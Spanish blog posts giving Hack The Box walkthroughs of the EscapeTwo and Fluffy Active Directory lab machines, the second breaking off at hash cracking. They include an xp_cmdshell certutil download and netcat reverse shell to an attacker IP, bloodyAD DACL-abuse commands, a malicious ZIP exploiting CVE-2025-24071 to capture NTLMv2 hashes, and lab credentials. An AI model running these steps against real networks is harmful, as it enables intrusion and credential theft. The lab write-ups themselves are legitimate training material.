AD-CS on

EscapeTwo (Easy)

admin@synacklabs.github.io (SynAckLabs) — Wed, 04 Mar 2026 00:00:00 +0000

Resumen

Durante la resolución de EscapeTwo, empecé con una enumeración de servicios y validé acceso a SMB con credenciales proporcionadas. Desde SMB encontré un .xlsx que, tras analizarlo, contenía credenciales válidas (incluyendo sa). Con sa accedí a MSSQL y habilité ejecución de comandos para obtener una shell. Desde la máquina, recuperé credenciales de ryan en un fichero de configuración de SQL, pivoté por WinRM y, tras analizar el dominio (BloodHound), identifiqué una ruta de abuso de AD CS. Aproveché permisos sobre plantillas (ESC4) para hacerla explotable, solicité un certificado suplantando a Administrator, obtuve su NT hash y entré con Pass-the-Hash.

Enumeración

PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-01-11 10:59:43Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-26T11:46:45
| Not valid after: 2124-06-08T17:00:40
| MD5: b55a:a63f:50ba:ed44:f865:820a:5b8e:f493
| SHA-1: a87b:9555:5164:74d3:f73f:bded:72e7:baab:db76:c12a
| -----BEGIN CERTIFICATE-----
| MIIF6TCCBNGgAwIBAgITVAAAAAVjf8S2XKAtZAAAAAAABTANBgkqhkiG9w0BAQsF
| ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRcwFQYDVQQDEw5zZXF1ZWwtREMwMS1DQTAgFw0yNTA2MjYxMTQ2NDVaGA8yMTI0
| MDYwODE3MDA0MFowADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN6t
| PbrDaBr7iaqtpFrlC5txEmOlllkSRMtLsld7ZgwcBdmU4UU31oiAciONnCqnuXEg
| EsrgGO3Nufzbu66sgkMqtTd0MyiYb5+wVTqL5FxRXJCyyLnmjdoKdemZ9uqpwVRw
| RXR502G1YGNVtPFffxbU9vvcIe1SaIUvL9QXVkzJuze8a7mlQ964CPER4T9v3Q96
| 3RK8DHm64/EqR1hPMKAuIfHftAX5a67ARnVwBiXn3dItESQJoLliq+hsoXvcDxfA
| iBP0uOgLrKyZrKMNFOsPpFe4GwGxrNmVeigHRF9/IPzXmDJZC1C+ieIBL3J1tzOD
| 0RrwhK5LRVOijIkBsnECAwEAAaOCAxIwggMOMDcGCSsGAQQBgjcVBwQqMCgGICsG
| AQQBgjcVCIOFgESHvJM3hdGJJcLeUoTxqjiBKQEhAgFuAgECMDIGA1UdJQQrMCkG
| CCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNVHQ8B
| Af8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEFBQcD
| ATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFD3FI2lBcJiy3qh6
| t0wOZkt5ZV4EMB8GA1UdIwQYMBaAFMZBubbkDkfWBlps8YrGlP0a+7jDMIHIBgNV
| HR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXNlcXVlbC1EQzAxLUNBLENO
| PURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZp
| Y2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jZXJ0aWZpY2F0
| ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9u
| UG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8v
| Q049c2VxdWVsLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0
| Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1
| dGhvcml0eTAxBgNVHREBAf8EJzAlgg9EQzAxLnNlcXVlbC5odGKCCnNlcXVlbC5o
| dGKCBlNFUVVFTDBNBgkrBgEEAYI3GQIEQDA+oDwGCisGAQQBgjcZAgGgLgQsUy0x
| LTUtMjEtNTQ4NjcwMzk3LTk3MjY4NzQ4NC0zNDk2MzM1MzcwLTEwMDAwDQYJKoZI
| hvcNAQELBQADggEBAILdYpMzCMJ2jrzMqFcZs5zRq1lDJA7Q1W9cZXZpZktTkXdA
| cEkRlcLQN9ZxvydKHdR053nIGNXcVn7CHpK8OU6sleyY0RRm/hktREv53L3tt0i7
| Dks9d14cTKN5+r1aQmeCJo7bRdeeiQcMKDyyKndI4Tn03XWjYS0yOem+2PrrANgs
| 2YWLg6LrslYnHB0xMFup6da7ueNpuRxwekBen20P6v6R3STGascvNVqBNBpNTMRo
| CpokbunsA+8Bqqt3IWX5/Og2wCBL2v/dPiyjSQ3WYOwguyjDF8gQdVMIsW25vUMc
| 3UVUm1yCwc7rr5IEQAkXdTHzbNIHACbCvOotXZM=
|_-----END CERTIFICATE-----
|_ssl-date: 2026-01-11T11:01:13+00:00; -4s from scanner time.
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-01-11T11:01:13+00:00; -4s from scanner time.
| ms-sql-info:
| 10.129.69.156:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.69.156:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-11T10:58:38
| Not valid after: 2056-01-11T10:58:38
| MD5: 80d9:a446:754f:deb1:d297:c17c:fa92:c9d0
| SHA-1: 2f7a:4ab9:c724:0b71:6177:1046:04bf:9ec0:538d:0af4
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQIP8Of/2gFJNJo0+BxnvIxjANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwMTExMTA1ODM4WhgPMjA1NjAxMTExMDU4MzhaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALZLb9hM
| xXtQAfV/+O9Ij84F5+CiTZxLMYVHDP62+ZvJGhG7sNDVlH9b0XZQg7Q5n4Uu7bdb
| BEXqOrlY1eUQpx3adXIxEW904rvK9bnSfsptFOa/Qg7RtFrQOx9rV4A7RZMP1SMH
| H/6EFyeB8VShZjzGnHoACxQpIK9HGNHg/HqQ8+O9huiBJgA6P8xgFjP//B77YMS2
| pxv/XAZZHP8Ju9+SpOpCfBb4m8pugIatRJM2No9JUogVXvip90E/rGJY24cLu+Pi
| 7MG99eBJoEcAOPNGBokNu85sNIBla3ibY1ebpWEfpGCyTL0BitFuwadHnotOhVIH
| H6fVTr3nhmqWV60CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAinsUDlNe2rk07NMn
| 6+zTpKHtE4TqyVAuGCBDrMKU7IOrqG4jGFDZInzk+XLOk44RLqFsegEhGfLRYCvi
| mTs8woPKwvWGNMmeejvcv4MLPiWwXB2XxRCez5Th6opGkjdQ0ST5rmmccpO6F6st
| hpmfIK7YX5s2X0MqarSZ9NL3UKVvsVPhYhsBRuqH0W+eodTo9mzIsvnKVz9/dD5M
| 8KgyW2QPJ1Lso8Vm4pCJNmLt4fWD/6niODCpbV1f+JcGat/r3W9w/7O9Gc2zlwU+
| l6By9y3WYwluHPP3y6t2fKV/lWzUa1InhxO7OkuY9kSBhVVtnJd8BZ6v5gsx2XgX
| MfYJIQ==
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49695/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49712/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49728/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49736/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

SMB (con credenciales dadas)

Accedí a SMB usando las credenciales proporcionadas.

Dentro vi dos directorios interesantes: Accounting Department y Users.

Me descargué todos los archivos de esos directorios para analizarlos.

En un primer vistazo no parecía haber nada útil.

Tampoco encontré nada interesante en MSSQL con ese primer enfoque.

Enumeración de usuarios y Kerberoasting

Enumeré usuarios por SMB:

─# nxc smb 10.129.69.156 -u rose -p 'KxEPkKe6R8su' --users
SMB 10.129.69.156 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.129.69.156 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.129.69.156 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.69.156 445 DC01 Administrator 2024-06-08 16:32:20 0 Built-in account for administering the computer/domain
SMB 10.129.69.156 445 DC01 Guest 2024-12-25 14:44:53 0 Built-in account for guest access to the computer/domain
SMB 10.129.69.156 445 DC01 krbtgt 2024-06-08 16:40:23 0 Key Distribution Center Service Account
SMB 10.129.69.156 445 DC01 michael 2024-06-08 16:47:37 0
SMB 10.129.69.156 445 DC01 ryan 2024-06-08 16:55:45 0
SMB 10.129.69.156 445 DC01 oscar 2024-06-08 16:56:36 0
SMB 10.129.69.156 445 DC01 sql_svc 2024-06-09 07:58:42 0
SMB 10.129.69.156 445 DC01 rose 2024-12-25 14:44:54 0
SMB 10.129.69.156 445 DC01 ca_svc 2026-01-11 11:07:38 0
SMB 10.129.69.156 445 DC01 [*] Enumerated 9 local users: SEQUEL

Como aparecían dos cuentas de servicio (sql_svc y ca_svc), probé Kerberoasting para pedir SPNs:

┌──(root㉿kali)-[/home/…/Desktop/HTB/EscapeTwo/scan]
└─# impacket-GetUserSPNs -dc-ip 10.129.69.156 sequel.htb/rose 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------- ------- ---------------------------------------------------- -------------------------- -------------------------- ----------
sequel.htb/sql_svc.DC01 sql_svc CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb 2024-06-09 09:58:42.689521 2026-01-11 11:58:35.361372
sequel.htb/ca_svc.DC01 ca_svc CN=Cert Publishers,CN=Users,DC=sequel,DC=htb 2026-01-11 12:22:29.121764 2024-06-09 19:14:42.333365

Pedí los tickets:

Intenté crackearlos, pero no lo conseguí.

Credenciales dentro del Excel (accounts.xlsx)

Volví a los ficheros del SMB y me fijé en accounts.xlsx:

┌──(kali㉿kali)-[~/Downloads]
└─$ file accounts.xlsx

accounts.xlsx: Zip archive data, made by v2.0, extract using at least v2.0, last modified, last modified Sun, Jun 09 2024 10:47:44, uncompressed size 681, method=deflate

Al ver que era un ZIP, lo descomprimí con unzip y analicé el contenido. Ahí encontré credenciales.

En sharedStrings.xml se veían los valores:

Y al formatearlo con xmllint aparecían las credenciales:

┌──(kali㉿kali)-[~/Downloads/xl]
└─$ xmllint --format sharedStrings.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24">
 <si>
 <t xml:space="preserve">First Name</t>
 </si>
 <si>
 <t xml:space="preserve">Last Name</t>
 </si>
 <si>
 <t xml:space="preserve">Email</t>
 </si>
 <si>
 <t xml:space="preserve">Username</t>
 </si>
 <si>
 <t xml:space="preserve">Password</t>
 </si>
 <si>
 <t xml:space="preserve">Angela</t>
 </si>
 <si>
 <t xml:space="preserve">Martin</t>
 </si>
 <si>
 <t xml:space="preserve">angela@sequel.htb</t>
 </si>
 <si>
 <t xml:space="preserve">angela</t>
 </si>
 <si>
 <t xml:space="preserve">0fwz7Q4mSpurIt99</t>
 </si>
 <si>
 <t xml:space="preserve">Oscar</t>
 </si>
 <si>
 <t xml:space="preserve">Martinez</t>
 </si>
 <si>
 <t xml:space="preserve">oscar@sequel.htb</t>
 </si>
 <si>
 <t xml:space="preserve">oscar</t>
 </si>
 <si>
 <t xml:space="preserve">86LxLBMgEWaKUnBG</t>
 </si>
 <si>
 <t xml:space="preserve">Kevin</t>
 </si>
 <si>
 <t xml:space="preserve">Malone</t>
 </si>
 <si>
 <t xml:space="preserve">kevin@sequel.htb</t>
 </si>
 <si>
 <t xml:space="preserve">kevin</t>
 </si>
 <si>
 <t xml:space="preserve">Md9Wlq1E5bZnVDVo</t>
 </si>
 <si>
 <t xml:space="preserve">NULL</t>
 </si>
 <si>
 <t xml:space="preserve">sa@sequel.htb</t>
 </si>
 <si>
 <t xml:space="preserve">sa</t>
 </si>
 <si>
 <t xml:space="preserve">MSSQLP@ssw0rd!</t>
 </si>
</sst>

Credenciales extraídas:

angela@sequel.htb:0fwz7Q4mSpurIt99
oscar@sequel.htb:86LxLBMgEWaKUnBG
kevin@sequel.htb:Md9Wlq1E5bZnVDVo
sa@sequel.htb:MSSQLP@ssw0rd!

Validé credenciales de Oscar:

Y también las de sa (administrador del servicio MSSQL):

Acceso a MSSQL y ejecución de comandos

Me conecté a MSSQL con impacket-mssqlclient:

impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.129.69.156

Habilité xp_cmdshell para poder ejecutar comandos:

Pasé un nc.exe para lanzar una reverse shell.

Servidor HTTP en mi máquina:

┌──(kali㉿kali)-[/usr/share/windows-resources/binaries]
└─$ python3 -m http.server 4000
Serving HTTP on 0.0.0.0 port 4000 (http://0.0.0.0:4000/) ...
10.129.69.156 - - [11/Jan/2026 13:01:10] "GET /nc.exe HTTP/1.1" 200 -
10.129.69.156 - - [11/Jan/2026 13:01:11] "GET /nc.exe HTTP/1.1" 200 -



---------------------------------------------------
---------------------------------------------------
---------------------------------------------------
---------------------------------------------------



SQL (sa dbo@master)> EXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.15.44:4000/nc.exe C:\Users\sql_svc\Desktop\nc64.exe';
output

CertUtil: -URLCache command completed successfully.

NULL

Ejecuté enable_xp_cmdshell y luego lancé la shell:

SQL (sa dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> EXEC xp_cmdshell 'C:\Users\sql_svc\Desktop\nc64.exe 10.10.15.44 4444 -e powershell'

Shell recibida:

Dentro de la máquina vi que la flag no estaba en el directorio de sql_svc, y que había otro usuario llamado ryan, así que necesitaba pivotar.

Búsqueda de credenciales en la máquina (pivot a ryan)

Busqué ficheros que contuvieran credenciales. En la ruta de instalación de SQL encontré un fichero de configuración con passwords:

PS C:\> dir


 Directory: C:\


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/5/2022 12:03 PM PerfLogs
d-r--- 1/4/2025 7:11 AM Program Files
d----- 6/9/2024 8:37 AM Program Files (x86)
d----- 6/8/2024 3:07 PM SQL2019
d-r--- 6/9/2024 6:42 AM Users
d----- 1/4/2025 8:10 AM Windows


PS C:\> cd SQL2019
PS C:\SQL2019> dir


 Directory: C:\SQL2019


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/3/2025 7:29 AM ExpressAdv_ENU


PS C:\SQL2019> cd ExpressAdv_ENU
PS C:\SQL2019\ExpressAdv_ENU> dir


 Directory: C:\SQL2019\ExpressAdv_ENU


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/8/2024 3:07 PM 1033_ENU_LP
d----- 6/8/2024 3:07 PM redist
d----- 6/8/2024 3:07 PM resources
d----- 6/8/2024 3:07 PM x64
-a---- 9/24/2019 10:03 PM 45 AUTORUN.INF
-a---- 9/24/2019 10:03 PM 788 MEDIAINFO.XML
-a---- 6/8/2024 3:07 PM 16 PackageId.dat
-a---- 9/24/2019 10:03 PM 142944 SETUP.EXE
-a---- 9/24/2019 10:03 PM 486 SETUP.EXE.CONFIG
-a---- 6/8/2024 3:07 PM 717 sql-Configuration.INI
-a---- 9/24/2019 10:03 PM 249448 SQLSETUPBOOTSTRAPPER.DLL


PS C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
PS C:\SQL2019\ExpressAdv_ENU>

Con esa contraseña validé credenciales y confirmé acceso como ryan:

Comprobé el usuario ryan:

PS C:\SQL2019\ExpressAdv_ENU> net user ryan
User name ryan
Full Name Ryan Howard
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never

Password last set 6/8/2024 8:55:45 AM
Password expires Never
Password changeable 6/9/2024 8:55:45 AM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/9/2024 9:16:26 AM

Logon hours allowed All

Local Group Memberships *Remote Management Use
Global Group memberships *Management Department*Domain Users
The command completed successfully.

Como estaba en Remote Management Use, pude usar WinRM:

BloodHound y ruta hacia AD CS

Levanté BloodHound:

/home/kali/bloodhound-cli containers start

Encontré una posible escalada (ESC1) relacionada con abuso de certificados, ya que podía llegar al grupo Cert Publishers:

Para automatizar el proceso de DACL Abuse, utilicé bloodyAD.

El permiso WriteOwner me permite cambiar el owner del objeto. Una vez soy owner, ya puedo modificar la DACL y darme permisos (por ejemplo, GenericAll).

Cambiar owner:

bloodyAD -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' --host DC01.sequel.htb set owner 'CA_SVC' 'RYAN'

Dar GenericAll:

bloodyAD -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' --host DC01.sequel.htb add genericAll 'CA_SVC' 'RYAN'

Cambiar contraseña (ya con control):

bloodyAD -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' --host DC01.sequel.htb set password 'CA_SVC' 'NewP@ssword2026!'

Resultado:

AD-CS

Busqué vulnerabilidades en plantillas con certipy-ad:

Interpretación: ESC4 implica que tengo permisos para editar la plantilla y hacerla vulnerable. Con el comando correspondiente modifiqué la template para que quedase explotable.

Volví a ejecutar el análisis y ya aparecía como vulnerable:

Después exploté solicitando un certificado suplantando a Administrator:

Con eso obtuve el NT hash del Admin:

Finalmente, hice Pass-the-Hash para acceder como Administrator:

Fluffy (Easy)

admin@synacklabs.github.io (SynAckLabs) — Mon, 19 Jan 2026 00:00:00 +0000

Resumen

Esta máquina es un Domain Controller de Active Directory. Empiezo con unas credenciales iniciales para enumerar SMB, encuentro un share con material (incluyendo un PDF con CVEs) y abuso CVE-2025-24071 para forzar una autenticación SMB y capturar un hash NTLMv2. Tras crackearlo, uso BloodHound para identificar un camino de escalada vía permisos GenericWrite, realizo Shadow Credentials con Certipy para obtener hashes NT, y finalmente abuso una mala configuración de AD CS identificada como ESC16 para impersonar a Administrator.

Credenciales iniciales

Credenciales dadas: j.fleischman:J0elTHEM4n1990!

Escaneo

53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-01-19 23:10:55Z)
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-01-19T23:12:24+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-01-19T23:12:25+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49699/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49723/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Enumeración SMB

Confirmo que es una máquina de AD y tiro por SMB.

┌──(root㉿kali)-[/home/…/Desktop/HTB/Fluffy/loot]
└─# nxc smb 10.129.78.23 -u j.fleischman -p 'J0elTHEM4n1990!' --shares
SMB 10.129.78.23 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.78.23 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.78.23 445 DC01 [*] Enumerated shares
SMB 10.129.78.23 445 DC01 Share Permissions Remark
SMB 10.129.78.23 445 DC01 ----- ----------- ------
SMB 10.129.78.23 445 DC01 ADMIN$ Remote Admin
SMB 10.129.78.23 445 DC01 C$ Default share
SMB 10.129.78.23 445 DC01 IPC$ READ Remote IPC
SMB 10.129.78.23 445 DC01 IT READ,WRITE
SMB 10.129.78.23 445 DC01 NETLOGON READ Logon server share
SMB 10.129.78.23 445 DC01 SYSVOL READ Logon server share

Veo que el share IT tiene permisos de escritura, así que entro a mirar contenido:

smbclient '//10.129.78.23/IT' -U fluffy.htb/j.fleischman%J0elTHEM4n1990!
Try "help" to get a list of possible commands.
smb: \> DIR
 . D 0 Tue Jan 20 00:12:04 2026
 .. D 0 Tue Jan 20 00:12:04 2026
 Everything-1.4.1.1026.x64 D 0 Fri Apr 18 17:08:44 2025
 Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 17:04:05 2025
 KeePass-2.58 D 0 Fri Apr 18 17:08:38 2025
 KeePass-2.58.zip A 3225346 Fri Apr 18 17:03:17 2025
 Upgrade_Notice.pdf A 169963 Sat May 17 16:31:07 2025

 5842943 blocks of size 4096. 1530895 blocks available

PDF con CVEs

En el share aparece un PDF con vulnerabilidades. Me lo descargo y veo lo siguiente:

CVE ID
CVE-2025-24996--Critical
CVE-2025-24071--Critical
CVE-2025-46785--High
CVE-2025-29968--High
CVE-2025-21193--Medium
CVE-2025-3445--Low

La que más me interesa aquí es CVE-2025-24071:

Windows Explorer automatically initiates an SMB authentication request when a
.library-ms file is extracted from a ZIP archive. This causes NTLM credentials
(in hashed format) to be leaked to a remote SMB server controlled by the attacker.
No user interaction is required beyond extraction.

Uso este exploit:

https://www.exploit-db.com/exploits/52310

Captura de hash NTLMv2 con Responder

Genero el ZIP malicioso y lo subo al share IT (tengo escritura). En paralelo levanto Responder para capturar la autenticación.

smbclient '//10.129.78.23/IT' -U fluffy.htb/j.fleischman%J0elTHEM4n1990!
Try "help" to get a list of possible commands.
smb: \> put malicious.zip
putting file malicious.zip as \malicious.zip (2.0 kb/s) (average 2.0 kb/s)

Espero unos segundos y recibo el hash:

[SMB] NTLMv2-SSP Client : 10.129.78.23
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:f74081931ace9d2a:B7AE54D953F98A9BAA7AF1FFA9A66B7E:0101000000000000802CFE656989DC01C70A4C638403E30B0000000002000800370039005800330001001E00570049004E002D003200500045004D0043004A00420048004F003600570004003400570049004E002D003200500045004D0043004A00420048004F00360057002E0037003900580033002E004C004F00430041004C000300140037003900580033002E004C004F00430041004C000500140037003900580033002E004C004F00430041004C0007000800802CFE656989DC01060004000200000008003000300000000000000001000000002000009A1D51B76B59C74DF9A070F2C83658F60E9885997FEED0398370D04783BA2D0C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00340034000000000000000000

Crackeo con hashcat (modo -m 5600) y obtengo la contraseña:

